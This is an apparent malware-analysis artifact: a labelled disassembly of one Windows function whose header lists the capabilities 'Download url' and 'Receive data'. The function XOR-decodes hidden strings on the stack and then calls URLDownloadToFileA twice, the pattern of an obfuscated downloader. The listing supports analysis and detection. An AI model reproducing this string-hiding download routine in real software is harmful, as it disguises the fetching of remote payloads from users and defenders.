Function at 0x1800709a0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
movdqa xmm1, xmmword [0x1801a5ac0]
mov bl, 0x35
movdqa xmm2, xmmword [0x1801a5a40]
movzx edi, bl
movdqa xmm3, xmmword [0x1801a54f0]
movzx r15d, bl
movdqa xmm4, xmmword [0x1801a54c0]
xor r12d, r12d
movdqa xmm5, xmmword [0x1801a5450]
xor bl, 0x46
movdqa xmmword [rbp - 0x29], xmm1
xor dil, 0x46
xor r15b, 0x46
mov byte [rbp - 0x31], bl
mov al, 0x31
mov byte [rbp - 0x30], dil
xor al, 0x46
mov byte [rbp - 0x2d], r15b
mov r9b, 0x22
mov byte [rbp - 0x38], al
xor r9b, 0x46
mov byte [rbp - 0x2c], r12b
movdqa xmm0, xmm1
mov byte [rbp - 0x34], r9b
movd r9d, xmm1
mov sil, 0x23
xor sil, 0x46
psrldq xmm0, 1
movd eax, xmm0
mov cl, 0x29
xor byte [rbp - 0x27], r9b
xor cl, 0x46
xor byte [rbp - 0x26], r9b
mov dl, 0x34
xor byte [rbp - 0x25], r9b
xor dl, 0x46
xor byte [rbp - 0x24], r9b
xor al, r9b
xor byte [rbp - 0x23], r9b
mov r8b, 0x2a
xor byte [rbp - 0x22], r9b
xor r8b, 0x46
xor byte [rbp - 0x21], r9b
mov r10b, 0x68
xor byte [rbp - 0x20], r9b
xor r10b, 0x46
xor byte [rbp - 0x1f], r9b
mov r11b, 0x27
xor byte [rbp - 0x1e], r9b
xor r11b, 0x46
xor byte [rbp - 0x1d], r9b
mov r14b, 0x32
xor byte [rbp - 0x1c], r9b
xor r14b, 0x46
xor byte [rbp - 0x1b], r9b
mov bl, 0x29
xor byte [rbp - 0x1a], r9b
mov dil, 0x66
mov byte [rbp - 0x2f], sil
mov r15b, 0x62
mov sil, 0x74
mov byte [rbp - 0x37], cl
mov byte [rbp - 0x36], dl
mov cl, 0x70
mov byte [rbp - 0x35], r8b
mov dl, 0x68
mov byte [rbp - 0x33], r10b
mov r8b, 0x75
mov byte [rbp - 0x32], r11b
mov r10b, 0x6b
mov byte [rbp - 0x2e], r14b
mov r11b, 0x63
mov byte [rbp - 0x28], al
movzx r14d, sil
mov byte [rbp - 0x39], 0x46
mov r12b, 0x73
movdqa xmmword [rbp - 0x19], xmm2
movzx r13d, sil
movdqa xmmword [rbp - 9], xmm3
movdqa xmmword [rbp + 7], xmm4
movdqa xmmword [rbp + 0x17], xmm5
xor byte [rbp - 0x18], r9b
xor cl, r9b
xor byte [rbp - 0x17], r9b
xor dl, r9b
xor byte [rbp - 0x16], r9b
xor r8b, r9b
xor byte [rbp - 0x15], r9b
xor r10b, r9b
xor byte [rbp - 0x14], r9b
xor byte [rbp - 0x13], r9b
xor byte [rbp - 0x12], r9b
xor byte [rbp - 0x11], r9b
xor byte [rbp - 0x10], r9b
xor byte [rbp - 0xf], r9b
xor byte [rbp - 0xe], r9b
xor byte [rbp - 0xd], r9b
xor byte [rbp - 0xc], r9b
xor byte [rbp - 0xb], r9b
xor byte [rbp - 0xa], r9b
xor byte [rbp - 8], r9b
xor byte [rbp - 7], r9b
xor byte [rbp - 6], r9b
xor byte [rbp - 5], r9b
xor byte [rbp - 4], r9b
xor byte [rbp - 3], r9b
xor byte [rbp - 2], r9b
xor byte [rbp - 1], r9b
xor byte [rbp], r9b
xor byte [rbp + 1], r9b
xor byte [rbp + 2], r9b
xor byte [rbp + 3], r9b
xor byte [rbp + 4], r9b
xor byte [rbp + 5], r9b
xor byte [rbp + 6], r9b
xor byte [rbp + 8], r9b
xor byte [rbp + 9], r9b
xor byte [rbp + 0xa], r9b
xor byte [rbp + 0xb], r9b
xor byte [rbp + 0xc], r9b
xor byte [rbp + 0xd], r9b
xor byte [rbp + 0xe], r9b
xor byte [rbp + 0xf], r9b
xor byte [rbp + 0x10], r9b
xor byte [rbp + 0x11], r9b
xor byte [rbp + 0x12], r9b
xor byte [rbp + 0x13], r9b
xor byte [rbp + 0x14], r9b
xor byte [rbp + 0x15], r9b
xor byte [rbp + 0x16], r9b
xor byte [rbp + 0x18], r9b
xor byte [rbp + 0x19], r9b
xor byte [rbp + 0x1a], r9b
xor byte [rbp + 0x1b], r9b
xor byte [rbp + 0x1c], r9b
xor byte [rbp + 0x1d], r9b
xor byte [rbp + 0x1e], r9b
xor byte [rbp + 0x1f], r9b
xor byte [rbp + 0x20], r9b
xor byte [rbp + 0x21], r9b
xor byte [rbp + 0x22], r9b
xor byte [rbp + 0x23], r9b
xor byte [rbp + 0x24], r9b
xor byte [rbp + 0x25], r9b
xor byte [rbp + 0x26], r9b
movd eax, xmm2
mov byte [rbp + 0x27], cl
mov byte [rbp + 0x28], dl
xor al, r9b
mov byte [rbp + 0x29], r8b
mov byte [rbp - 0x19], al
movd eax, xmm3
mov byte [rbp + 0x2a], r10b
xor al, r9b
mov byte [rbp - 9], al
movd eax, xmm4
xor al, r9b
mov byte [rbp + 7], al
movd eax, xmm5
xor al, r9b
mov byte [rbp + 0x17], al
xor r11b, r9b
xor bl, r9b
mov byte [rbp + 0x2b], r11b
xor dil, r9b
mov byte [rbp + 0x2c], bl
xor sil, r9b
mov byte [rbp + 0x2d], dil
xor r14b, r9b
mov byte [rbp + 0x2e], sil
xor r15b, r9b
mov byte [rbp + 0x2f], r14b
xor r12b, r9b
mov byte [rbp + 0x30], r15b
xor r13b, r9b
mov byte [rbp + 0x31], r12b
xor r9d, r9d
mov byte [rbp + 0x32], r13b
lea r8, [rbp - 0x38]
mov byte [rbp + 0x33], 0
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm1, xmmword [0x1801a5a70]
mov cl, 0x1e
movdqa xmm2, xmmword [0x1801a5ad0]
movzx edx, cl
movdqa xmm3, xmmword [0x1801a54a0]
movzx ebx, cl
movdqa xmm4, xmmword [str.___.______6___E__w55]
movzx edi, cl
movdqa xmm5, xmmword [0x1801a5520]
movzx r15d, cl
xor dl, 0x6d
mov byte [rbp - 0x39], 0x6d
xor bl, 0x6d
mov byte [rbp - 0x36], dl
xor dil, 0x6d
mov byte [rbp - 0x31], bl
xor cl, 0x6d
mov byte [rbp - 0x30], dil
mov dl, 0x6a
mov byte [rbp - 0x37], cl
mov al, 0xc
movdqa xmmword [rbp - 0x29], xmm1
mov r8b, 8
movdqa xmmword [rbp - 0x19], xmm2
movzx esi, r8b
movdqa xmmword [rbp - 9], xmm3
xor sil, 0x6d
movdqa xmmword [rbp + 7], xmm4
xor r8b, 0x6d
mov byte [rbp - 0x2f], sil
mov r9b, 0x19
mov byte [rbp - 0x35], r8b
movzx r11d, al
movdqa xmmword [rbp + 0x17], xmm5
xor r11b, 0x6d
movzx r14d, r9b
xor r14b, 0x6d
mov byte [rbp - 0x32], r11b
xor r12d, r12d
mov byte [rbp - 0x2e], r14b
xor al, 0x6d
mov byte [rbp - 0x2c], r12b
xor r9b, 0x6d
mov byte [rbp - 0x38], al
mov r10b, 0x43
mov byte [rbp - 0x34], r9b
xor r10b, 0x6d
mov cl, 0x78
xor r15b, 0x6d
mov byte [rbp - 0x33], r10b
mov r10b, 0x7c
mov byte [rbp - 0x2d], r15b
movzx r8d, dl
movzx esi, dl
movzx r14d, dl
movzx r15d, r10b
mov r11b, 0x6d
mov bl, 0x37
movzx edi, cl
movd r9d, xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movzx r12d, r11b
movd eax, xmm0
movzx r13d, dl
xor byte [rbp - 0x27], r9b
xor byte [rbp - 0x26], r9b
xor byte [rbp - 0x25], r9b
xor al, r9b
xor byte [rbp - 0x24], r9b
xor byte [rbp - 0x23], r9b
xor byte [rbp - 0x22], r9b
xor byte [rbp - 0x21], r9b
xor byte [rbp - 0x20], r9b
xor byte [rbp - 0x1f], r9b
xor byte [rbp - 0x1e], r9b
xor byte [rbp - 0x1d], r9b
xor byte [rbp - 0x1c], r9b
xor byte [rbp - 0x1b], r9b
xor byte [rbp - 0x1a], r9b
xor byte [rbp - 0x18], r9b
xor byte [rbp - 0x17], r9b
xor byte [rbp - 0x16], r9b
xor byte [rbp - 0x15], r9b
xor byte [rbp - 0x14], r9b
xor byte [rbp - 0x13], r9b
xor byte [rbp - 0x12], r9b
xor byte [rbp - 0x11], r9b
xor byte [rbp - 0x10], r9b
xor byte [rbp - 0xf], r9b
xor byte [rbp - 0xe], r9b
xor byte [rbp - 0xd], r9b
xor byte [rbp - 0xc], r9b
xor byte [rbp - 0xb], r9b
xor byte [rbp - 0xa], r9b
xor byte [rbp - 8], r9b
xor byte [rbp - 7], r9b
xor byte [rbp - 6], r9b
xor byte [rbp - 5], r9b
xor byte [rbp - 4], r9b
xor byte [rbp - 3], r9b
xor byte [rbp - 2], r9b
xor byte [rbp - 1], r9b
xor byte [rbp], r9b
xor byte [rbp + 1], r9b
xor byte [rbp + 2], r9b
xor byte [rbp + 3], r9b
xor byte [rbp + 4], r9b
xor byte [rbp + 5], r9b
xor byte [rbp + 6], r9b
xor byte [rbp + 8], r9b
xor byte [rbp + 9], r9b
xor byte [rbp + 0xa], r9b
xor byte [rbp + 0xb], r9b
xor byte [rbp + 0xc], r9b
xor byte [rbp + 0xd], r9b
xor byte [rbp + 0xe], r9b
xor byte [rbp + 0xf], r9b
xor byte [rbp + 0x10], r9b
xor byte [rbp + 0x11], r9b
xor byte [rbp + 0x12], r9b
xor byte [rbp + 0x13], r9b
xor byte [rbp + 0x14], r9b
xor byte [rbp + 0x15], r9b
xor byte [rbp + 0x16], r9b
xor byte [rbp + 0x18], r9b
mov byte [rbp - 0x28], al
movd eax, xmm2
xor al, r9b
mov byte [rbp - 0x19], al
movd eax, xmm3
xor al, r9b
mov byte [rbp - 9], al
movd eax, xmm4
xor al, r9b
mov byte [rbp + 7], al
movd eax, xmm5
xor al, r9b
xor byte [rbp + 0x19], r9b
mov byte [rbp + 0x17], al
xor byte [rbp + 0x1a], r9b
xor cl, r9b
xor byte [rbp + 0x1b], r9b
xor dl, r9b
xor byte [rbp + 0x1c], r9b
xor r8b, r9b
xor byte [rbp + 0x1d], r9b
xor r10b, r9b
xor byte [rbp + 0x1e], r9b
xor r11b, r9b
xor byte [rbp + 0x1f], r9b
xor bl, r9b
xor byte [rbp + 0x20], r9b
xor dil, r9b
xor byte [rbp + 0x21], r9b
xor sil, r9b
xor byte [rbp + 0x22], r9b
xor r14b, r9b
xor byte [rbp + 0x23], r9b
xor r15b, r9b
xor byte [rbp + 0x24], r9b
xor r12b, r9b
xor byte [rbp + 0x25], r9b
xor r13b, r9b
xor byte [rbp + 0x26], r9b
xor r9d, r9d
mov byte [rbp + 0x27], cl
xor ecx, ecx
mov byte [rbp + 0x28], dl
lea rdx, [rbp - 0x28]
mov byte [rbp + 0x29], r8b
lea r8, [rbp - 0x38]
mov byte [rbp + 0x2a], r10b
mov byte [rbp + 0x2b], r11b
mov byte [rbp + 0x2c], bl
mov byte [rbp + 0x2d], dil
mov byte [rbp + 0x2e], sil
mov byte [rbp + 0x2f], r14b
mov byte [rbp + 0x30], r15b
mov byte [rbp + 0x31], r12b
mov byte [rbp + 0x32], r13b
mov byte [rbp + 0x33], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret